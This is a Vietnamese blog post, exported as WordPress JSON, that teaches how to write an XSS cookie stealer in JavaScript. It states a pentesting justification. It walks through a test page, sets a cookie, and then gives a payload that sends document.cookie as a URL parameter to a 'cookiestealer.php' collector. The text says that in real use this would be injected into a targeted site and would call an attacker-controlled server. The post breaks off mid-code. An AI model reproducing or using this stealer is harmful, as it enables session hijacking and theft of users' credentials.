{"id":885,"date":"2022-03-31T11:06:41","date_gmt":"2022-03-31T04:06:41","guid":{"rendered":"https:\/\/dt-corp.com.vn\/?p=885"},"modified":"2022-03-31T13:36:55","modified_gmt":"2022-03-31T06:36:55","slug":"cach-lay-cookie-xss-chua-mat-khau-bang-javascript","status":"publish","type":"post","link":"https:\/\/dt-corp.com.vn\/?p=885","title":{"rendered":"C\u00e1ch l\u1ea5y cookie XSS ch\u1ee9a m\u1eadt kh\u1ea9u b\u1eb1ng JavaScript"},"content":{"rendered":"<p>JAVASCRIPT L\u00c0 G\u00cc ?<\/p>\n<p><a class=\"ext-link\" href=\"https:\/\/anonyviet.com\/tieptucdidentrangmoi\/?url=https%3A%2F%2Fwww.hostinger.vn%2Fhuong-dan%2Fjavascript-la-gi\" target=\"_blank\" rel=\"noopener external nofollow\">JavaScript<\/a>\u00a0l\u00e0 m\u1ed9t trong nh\u1eefng ng\u00f4n ng\u1eef ph\u1ed5 bi\u1ebfn nh\u1ea5t \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng tr\u00ean web. N\u00f3 c\u00f3 th\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a v\u00e0 t\u1ea1o ho\u1ea1t \u1ea3nh cho c\u00e1c th\u00e0nh ph\u1ea7n c\u1ee7a trang web, qu\u1ea3n l\u00fd n\u1ed9i dung trang web v\u00e0 th\u1ef1c hi\u1ec7n nhi\u1ec1u ch\u1ee9c n\u0103ng h\u1eefu \u00edch kh\u00e1c b\u00ean trong trang web. JavaScript c\u0169ng c\u00f3 nhi\u1ec1u ch\u1ee9c n\u0103ng c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng cho c\u00e1c m\u1ee5c \u0111\u00edch x\u1ea5u, bao g\u1ed3m \u0111\u00e1nh c\u1eafp cookie XSS c\u1ee7a ng\u01b0\u1eddi d\u00f9ng c\u00f3 ch\u1ee9a m\u1eadt kh\u1ea9u v\u00e0 c\u00e1c th\u00f4ng tin kh\u00e1c.<\/p>\n<p>COOKIE L\u00c0 G\u00cc ?<\/p>\n<p>Cookie l\u00e0 th\u00f4ng tin m\u00e0 m\u1ed9t trang web y\u00eau c\u1ea7u ho\u1eb7c duy tr\u00ec li\u00ean quan \u0111\u1ebfn nh\u1eefng ng\u01b0\u1eddi d\u00f9ng c\u1ee5 th\u1ec3 truy c\u1eadp trang. C\u00e1c cookie n\u00e0y ch\u1ee9a th\u00f4ng tin v\u1ec1 c\u00e1ch th\u1ee9c v\u00e0 th\u1eddi \u0111i\u1ec3m h\u1ecd truy c\u1eadp, c\u0169ng nh\u01b0 th\u00f4ng tin x\u00e1c th\u1ef1c cho trang web nh\u01b0 t\u00ean ng\u01b0\u1eddi d\u00f9ng v\u00e0 m\u1eadt kh\u1ea9u. V\u00ec nh\u1eefng cookie n\u00e0y ph\u1ea3i \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng b\u1ea5t c\u1ee9 khi n\u00e0o kh\u00e1ch truy c\u1eadp m\u1ed9t trang web nh\u1ea5t \u0111\u1ecbnh, k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 l\u1ea5y c\u1eafp th\u00f4ng tin n\u00e0y v\u00e0 s\u1eed d\u1ee5ng n\u00f3 \u0111\u1ec3 m\u1ea1o danh ho\u1eb7c l\u1eadp danh m\u1ee5c th\u00f4ng tin v\u1ec1 nh\u1eefng ng\u01b0\u1eddi d\u00f9ng c\u1ee5 th\u1ec3.<\/p>\n<p>+) B\u1ea1n c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng JavaScript \u0111\u1ec3 l\u01b0u ho\u1eb7c s\u1eeda \u0111\u1ed5i cookie c\u1ee7a ng\u01b0\u1eddi d\u00f9ng cho m\u1ed9t domain nh\u1ea5t \u0111\u1ecbnh. M\u1eb7c d\u00f9 \u0111i\u1ec1u n\u00e0y th\u01b0\u1eddng \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng \u0111\u1ec3 t\u1ea1o v\u00e0 s\u1eed d\u1ee5ng cookie \u0111\u1ec3 ph\u00e1t tri\u1ec3n c\u00e1c web t\u01b0\u01a1ng t\u00e1c, nh\u01b0ng n\u1ebfu k\u1ebb t\u1ea5n c\u00f4ng c\u0169ng c\u00f3 th\u1ec3 xem cookie nh\u01b0 v\u1eady, n\u00f3 s\u1ebd tr\u1edf th\u00e0nh m\u1ed9t k\u1ef9 thu\u1eadt hack r\u1ea5t \u0111\u00e1ng g\u1eddm. C\u00e1c cu\u1ed9c t\u1ea5n c\u00f4ng d\u1ef1a tr\u00ean JavaScript \u0111\u1eb7c bi\u1ec7t hi\u1ec7u qu\u1ea3 khi \u0111\u01b0\u1ee3c k\u1ebft h\u1ee3p v\u1edbi c\u00e1c k\u1ef9 thu\u1eadt nh\u01b0 injection, v\u00ec n\u00f3 cho ph\u00e9p m\u00e3 \u0111\u1ed9c \u0111\u01b0\u1ee3c th\u1ef1c thi tr\u00ean nh\u1eefng trang web \u0111\u00e1ng tin c\u1eady.<\/p>\n<p>M\u1eb7c d\u00f9 m\u00ecnh kh\u00f4ng \u1ee7ng h\u1ed9 vi\u1ec7c \u0111\u00e1nh c\u1eafp m\u1eadt kh\u1ea9u c\u1ee7a b\u1ea5t k\u1ef3 ai, nh\u01b0ng b\u00e0i vi\u1ebft n\u00e0y l\u00e0 m\u1ed9t ki\u1ebfn th\u1ee9c c\u1ea7n bi\u1ebft \u0111\u1ed1i v\u1edbi b\u1ea5t k\u1ef3 pentester ho\u1eb7c chuy\u00ean gia b\u1ea3o m\u1eadt CNTT n\u00e0o. N\u1ebfu b\u1ea1n kh\u00f4ng bi\u1ebft c\u00e1c hacker m\u0169 \u0111en l\u00e0m vi\u1ec7c nh\u01b0 th\u1ebf n\u00e0o, b\u1ea1n s\u1ebd kh\u00f4ng bao gi\u1edd c\u00f3 th\u1ec3 b\u1eaft \u0111\u01b0\u1ee3c ch\u00fang.<\/p>\n<p>SAU \u0110\u00c2Y L\u00c0 C\u00c1C B\u01af\u01a0C VI\u00caT TOOL COOKIE XSS B\u1eb0NG JAVASCRIPT \u0110\u1ec2 L\u1ea4Y M\u1eacT KH\u1ea8U<\/p>\n<h3 id=\"ftoc-buoc-1-tao-mot-trang-html-dung-de-test\" class=\"ftwp-heading\">B\u01b0\u1edbc 1: T\u1ea1o m\u1ed9t trang HTML d\u00f9ng \u0111\u1ec3 test<\/h3>\n<p>\u0110\u1ec3 \u0103n c\u1eafp cookie, tr\u01b0\u1edbc ti\u00ean cookie ph\u1ea3i c\u00f3 s\u1eb5n tr\u00ean domain web m\u00e0 ng\u01b0\u1eddi d\u00f9ng \u0111ang xem. \u0110i\u1ec1u n\u00e0y x\u1ea3y ra b\u1ea5t c\u1ee9 khi n\u00e0o ng\u01b0\u1eddi d\u00f9ng xem trang web. M\u1eb7c d\u00f9 ho\u00e0n to\u00e0n c\u00f3 th\u1ec3 \u0111\u01b0a JavaScript v\u00e0o c\u00e1c trang web b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng c\u00e1ch t\u1ea5n c\u00f4ng man-in-the-middleho\u1eb7c b\u1eb1ng c\u00e1ch khai th\u00e1c m\u1ed9t trang web d\u1ec5 b\u1ecb t\u1ea5n c\u00f4ng, nh\u01b0ng c\u1ea3 hai \u0111i\u1ec1u n\u00e0y s\u1ebd c\u1ea7n th\u00eam nhi\u1ec1u n\u1ed7 l\u1ef1c \u0111\u1ec3 th\u1ef1c hi\u1ec7n.<\/p>\n<p>M\u00f4i tr\u01b0\u1eddng th\u1eed nghi\u1ec7m \u0111\u00e1nh c\u1eafp cookie c\u1ee7a ch\u00fang ta s\u1ebd n\u1eb1m trong m\u1ed9t trang ch\u1ec9 m\u1ee5c HTML kh\u00e1 chu\u1ea9n. Ch\u00fang ta s\u1ebd c\u00f3 th\u1ec3 nh\u00fang t\u1ea5t c\u1ea3 c\u00e1c ph\u1ea7n t\u1eed JavaScript. \u0110\u1ea7u ti\u00ean, t\u1ea1o m\u1ed9t th\u01b0 m\u1ee5c m\u1edbi \u0111\u1ec3 ch\u1ee9a t\u1ec7p HTML. Tr\u00ean h\u1ec7 th\u1ed1ng Linux ho\u1eb7c macOS, ch\u00fang ta c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng l\u1ec7nh mkdir, nh\u01b0 h\u00ecnh d\u01b0\u1edbi \u0111\u00e2y.<\/p>\n<p><code>mkdir cookiestealer<\/code><\/p>\n<p>Ti\u1ebfp theo, truy c\u1eadp v\u00e0o th\u01b0 m\u1ee5c n\u00e0y b\u1eb1ng l\u1ec7nh cd:<\/p>\n<p><code>cd cookiestealer<\/code><\/p>\n<p>Khi \u1edf trong th\u01b0 m\u1ee5c n\u00e0y, ch\u00fang ta c\u00f3 th\u1ec3 t\u1ea1o t\u1ec7p index c\u1ee7a m\u00ecnh b\u1eb1ng l\u1ec7nh touch<\/p>\n<p><code><span data-darkreader-inline-bgcolor=\"\" data-darkreader-inline-color=\"\">touch index.html<\/span><\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-886\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-300x59.jpg\" alt=\"\" width=\"615\" height=\"121\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-300x59.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-768x152.jpg 768w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-373x74.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-80x16.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-620x123.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-460x91.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-365x72.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456.jpg 833w\" sizes=\"auto, (max-width: 615px) 100vw, 615px\" \/><\/p>\n<p>Ti\u1ebfp theo, ch\u00fang ta c\u0169ng s\u1ebd ch\u1ec9nh s\u1eeda t\u1ec7p index n\u00e0y. \u0110\u1ea7u ti\u00ean, m\u1edf t\u1ec7p b\u1eb1ng nano.<\/p>\n<p><code>nano index.html<\/code><\/p>\n<p>Th\u00eam c\u00e1c th\u1ebb m\u1edf HTML c\u1ea7n thi\u1ebft. Trong tr\u01b0\u1eddng h\u1ee3p n\u00e0y, ch\u00fang ta ch\u1ec9 c\u1ea7n th\u1ebb \u201chtml\u201d v\u00e0 \u201cbody\u201d v\u00ec kh\u00f4ng c\u1ea7n ph\u1ea7n t\u1eed \u201chead\u201d \u0111\u1ec3 ki\u1ec3m tra JavaScript. T\u1ec7p b\u00e2y gi\u1edd s\u1ebd tr\u00f4ng gi\u1ed1ng nh\u01b0 b\u00ean d\u01b0\u1edbi.<\/p>\n<p>&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-887\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-300x93.jpg\" alt=\"\" width=\"674\" height=\"209\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-300x93.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-373x116.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-80x25.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-620x193.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-460x143.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1-365x114.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-1.jpg 761w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/p>\n<p>Ch\u00fang ta c\u00f3 th\u1ec3 l\u01b0u t\u1ec7p n\u00e0y b\u1eb1ng c\u00e1ch nh\u1ea5n Ctrl + O trong nano. T\u1ea1i th\u1eddi \u0111i\u1ec3m n\u00e0y, n\u1ebfu m\u1edf trong tr\u00ecnh duy\u1ec7t web, trang c\u1ee7a ch\u00fang ta s\u1ebd tr\u1ed1ng. Ch\u00fang ta c\u00f3 th\u1ec3 th\u00eam ph\u1ea7n t\u1eed ti\u00eau \u0111\u1ec1 ho\u1eb7c m\u1ed9t s\u1ed1 n\u1ed9i dung HTML c\u01a1 b\u1ea3n, nh\u01b0ng \u0111\u1ed1i v\u1edbi th\u1eed nghi\u1ec7m n\u00e0y, nhi\u00eau \u0111\u00e2y l\u00e0 \u0111\u1ee7.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-888\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-300x128.jpg\" alt=\"\" width=\"670\" height=\"286\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-300x128.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-373x159.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-80x34.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-620x264.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-460x196.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2-365x155.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-2.jpg 640w\" sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/p>\n<h3 id=\"ftoc-buoc-2-tao-cookie\" class=\"ftwp-heading\">B\u01b0\u1edbc 2: T\u1ea1o Cookie<\/h3>\n<p>Ch\u00fang ta c\u00f3 th\u1ec3 t\u1ea1o m\u1ed9t tham s\u1ed1 c\u01a1 b\u1ea3n \u0111\u01b0\u1ee3c ch\u00e8n trong cookie b\u1eb1ng c\u00e1ch ch\u1ec9 s\u1eed d\u1ee5ng m\u1ed9t chu\u1ed7i duy nh\u1ea5t. Cookie n\u00e0y s\u1ebd ch\u1ec9 t\u1ed3n t\u1ea1i trong trang n\u00e0y v\u00e0 t\u01b0\u01a1ng t\u1ef1, k\u1ef9 thu\u1eadt \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 k\u1ebft xu\u1ea5t cookie sau n\u00e0y s\u1ebd \u00e1p d\u1ee5ng cho b\u1ea5t k\u1ef3 cookie n\u00e0o \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef trong trang m\u00e0 t\u1eadp l\u1ec7nh \u0111\u01b0\u1ee3c ch\u1ea1y ho\u1eb7c \u0111\u01b0a v\u00e0o.<\/p>\n<p><code>&lt;script type=\"text\/javascript\"&gt;document.cookie = \"username=Null Byte\";&lt;\/script&gt;<\/code><\/p>\n<p>T\u1eadp l\u1ec7nh n\u00e0y ph\u1ea3i \u0111\u01b0\u1ee3c ch\u00e8n trong ph\u1ea7n \u201cbody\u201d c\u1ee7a t\u1ec7p HTML, nh\u01b0 b\u00ean d\u01b0\u1edbi.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-889\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-300x87.jpg\" alt=\"\" width=\"686\" height=\"199\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-300x87.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-768x223.jpg 768w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-373x109.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-80x23.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-620x180.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-460x134.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3-365x106.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-3.jpg 904w\" sizes=\"auto, (max-width: 686px) 100vw, 686px\" \/><\/p>\n<p>N\u1ebfu trang web c\u00f3 t\u1eadp l\u1ec7nh n\u00e0y \u0111\u01b0\u1ee3c m\u1edf, m\u1ed9t cookie s\u1ebd \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp, nh\u01b0ng s\u1ebd kh\u00f4ng c\u00f3 g\u00ec hi\u1ec3n th\u1ecb trong tr\u00ecnh duy\u1ec7t. Ch\u00fang ta c\u00f3 th\u1ec3 k\u1ebft xu\u1ea5t cookie tr\u1ef1c ti\u1ebfp v\u00e0o ch\u00ednh trang \u0111\u00f3 b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng ch\u1ee9c n\u0103ng \u201cdocument.write\u201d. \u0110i\u1ec1u n\u00e0y s\u1ebd kh\u00f4ng c\u00f3 \u00edch g\u00ec cho vi\u1ec7c xu\u1ea5t cookie cho ng\u01b0\u1eddi d\u00f9ng, nh\u01b0ng n\u00f3 c\u00f3 th\u1ec3 gi\u00fap ch\u00fang ta hi\u1ec3u \u0111\u1ecbnh d\u1ea1ng m\u00e0 k\u1ef9 thu\u1eadt cookie ho\u1ea1t \u0111\u1ed9ng. Ch\u00fang tac\u00f3 th\u1ec3 th\u00eam d\u00f2ng sau v\u00e0o t\u1eadp l\u1ec7nh c\u1ee7a m\u00ecnh \u0111\u1ec3 ki\u1ec3m tra.<\/p>\n<p><code>document.write(document.cookie);<\/code><\/p>\n<p>T\u1eadp l\u1ec7nh c\u1ee7a ch\u00fang ta b\u00e2y gi\u1edd s\u1ebd tr\u00f4ng gi\u1ed1ng nh\u01b0 b\u00ean d\u01b0\u1edbi.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-enlighter enlighter-hover enlighter-linenumbers \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">1. &lt;<\/span><span class=\"enlighter-text\">script type=<\/span><span class=\"enlighter-s0\">&#8220;text\/javascript&#8221;<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">2. document.<\/span><span class=\"enlighter-m3\">cookie<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">&#8220;username=Null Byte&#8221;<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">3. document.<\/span><span class=\"enlighter-m3\">write<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">document.<\/span><span class=\"enlighter-m3\">cookie<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-g1\">4. &lt;<\/span><span class=\"enlighter-text\">\/script<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-890\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-300x107.jpg\" alt=\"\" width=\"687\" height=\"245\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-300x107.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-768x273.jpg 768w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-373x133.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-80x28.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-620x220.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-460x163.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4-365x130.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-4.jpg 909w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/div>\n<div>Khi m\u1edf trong tr\u00ecnh duy\u1ec7t, n\u00f3 s\u1ebd tr\u00f4ng gi\u1ed1ng nh\u01b0 h\u00ecnh d\u01b0\u1edbi \u0111\u00e2y.<\/div>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-891\" src=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-300x127.jpg\" alt=\"\" width=\"687\" height=\"291\" srcset=\"https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-300x127.jpg 300w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-373x158.jpg 373w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-80x34.jpg 80w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-620x262.jpg 620w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-460x194.jpg 460w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5-365x154.jpg 365w, https:\/\/dt-corp.com.vn\/wp-content\/uploads\/2022\/03\/write-xss-cookie-stealer-javascript-steal-passwords.w1456-5.jpg 660w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/div>\n<div>\n<p>B\u00e2y gi\u1edd ch\u00fang ta \u0111\u00e3 \u0111\u1eb7t th\u00e0nh c\u00f4ng \u201cusername=Null Byte\u201d l\u00e0m cookie cho trang n\u00e0y. B\u00e2y gi\u1edd ch\u00fang ta c\u00f3 th\u1ec3 x\u00f3a \u201cdocument.write (document.cookie);\u201d ch\u1ee9c n\u0103ng c\u1ee7a t\u1eadp l\u1ec7nh, v\u00ec thay v\u00e0o \u0111\u00f3 ch\u00fang ta s\u1ebd chuy\u1ec3n ti\u1ebfp c\u00e1c cookie \u0111\u01b0\u1ee3c truy xu\u1ea5t t\u1eeb \u200b\u200btrang c\u1ee7a ng\u01b0\u1eddi d\u00f9ng \u0111\u01b0\u1ee3c nh\u1eafm m\u1ee5c ti\u00eau \u0111\u1ebfn m\u1ed9t trang \u0111\u1ed9c l\u1eadp, n\u01a1i ch\u00fang ta c\u00f3 th\u1ec3 vi\u1ebft v\u00e0 l\u01b0u tr\u1eef ch\u00fang.<\/p>\n<h3 id=\"ftoc-buoc-3-lay-cookie-bang-javascript\" class=\"ftwp-heading ftwp-heading-target\">B\u01b0\u1edbc 3: L\u1ea5y cookie b\u1eb1ng JavaScript<\/h3>\n<p>L\u1ec7nh JavaScript m\u00e0 ch\u00fang ta s\u1ebd s\u1eed d\u1ee5ng \u0111\u1ec3 chuy\u1ec3n cookie \u0111\u1ebfn m\u00e1y ch\u1ee7 n\u01a1i ch\u00fang ta c\u00f3 th\u1ec3 ghi ch\u00fang v\u00e0 m\u1ed9t l\u1ea7n n\u1eefa s\u1eed d\u1ee5ng document.cookie, tuy nhi\u00ean, thay v\u00e0o \u0111\u00f3, chu\u1ed7i n\u00e0y s\u1ebd \u0111\u01b0\u1ee3c truy\u1ec1n n\u1ed9i tuy\u1ebfn v\u1edbi m\u1ed9t URL nh\u01b0 \u0111\u01b0\u1ee3c \u0111\u1ecbnh ngh\u0129a trong document.location.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-enlighter enlighter-hover enlighter-linenumbers \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">1. document.<\/span><span class=\"enlighter-m3\">location<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-s0\">&#8216;http:\/\/127.0.0.1\/cookiestealer.php?c=&#8217;<\/span><span class=\"enlighter-text\">+document.<\/span><span class=\"enlighter-m3\">cookie<\/span><span class=\"enlighter-text\">;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Trong v\u00ed d\u1ee5 n\u00e0y, t\u1ec7p PHP \u0111\u01b0\u1ee3c \u0111\u1eb7t tr\u00ean m\u00e1y c\u1ee5c b\u1ed9, ho\u1eb7c m\u00e1y ch\u1ee7 c\u1ee5c b\u1ed9, t\u1ea1i 127.0.0.1. Trong v\u00ed d\u1ee5 th\u1ef1c t\u1ebf c\u1ee7a k\u1ef9 thu\u1eadt n\u00e0y, n\u00f3 ph\u1ea3i h\u01b0\u1edbng t\u1edbi m\u1ed9t t\u1ec7p \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef tr\u00ean m\u00e1y ch\u1ee7 web c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c xu\u1ea5t ra b\u00ean ngo\u00e0i m\u1ea1ng c\u1ee5c b\u1ed9 ho\u1eb7c m\u00e1y c\u1ee5c b\u1ed9.<\/p>\n<p>N\u1ebfu ai \u0111\u00f3 \u0111ang nh\u1eafm m\u1ee5c ti\u00eau \u0111\u1ebfn m\u1ed9t trang web truy\u1ec1n th\u00f4ng x\u00e3 h\u1ed9i, t\u1eadp l\u1ec7nh s\u1ebd \u0111\u01b0\u1ee3c \u0111\u01b0a v\u00e0o trong trang web \u0111\u00f3 v\u00e0 c\u00e1c cookie b\u1ecb \u0111\u00e1nh c\u1eafp s\u1ebd \u0111\u01b0\u1ee3c g\u1eedi \u0111\u1ebfn m\u1ed9t IP ho\u1eb7c URL c\u1ee7a m\u1ed9t m\u00e1y ch\u1ee7 do tin t\u1eb7c ki\u1ec3m so\u00e1t.<\/p>\n<p>\u0110\u1ed1i v\u1edbi m\u1ee5c \u0111\u00edch th\u1eed nghi\u1ec7m, ch\u00fang ta c\u00f3 th\u1ec3 l\u01b0u tr\u1eef t\u1ec7p c\u1ee5c b\u1ed9 b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng module m\u00e1y ch\u1ee7 th\u1eed nghi\u1ec7m c\u1ee7a PHP.<\/p>\n<p>Ch\u00fang ta c\u00f3 th\u1ec3 th\u00eam l\u1ec7nh JavaScript n\u00e0y trong c\u00e1c th\u1ebb script, nh\u01b0 b\u00ean d\u01b0\u1edbi, tr\u00ean c\u00f9ng m\u1ed9t trang HTML m\u00e0 ch\u00fang ta \u0111\u00e3 t\u1ea1o cookie m\u1eabu.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-enlighter enlighter-hover enlighter-linenumbers \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">1. &lt;<\/span><span class=\"enlighter-text\">script type=<\/span><span class=\"enlighter-s0\">&#8220;text\/javascript&#8221;<\/span><span class=\"enlighter-g1\">&gt;<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">2. document.<\/span><span 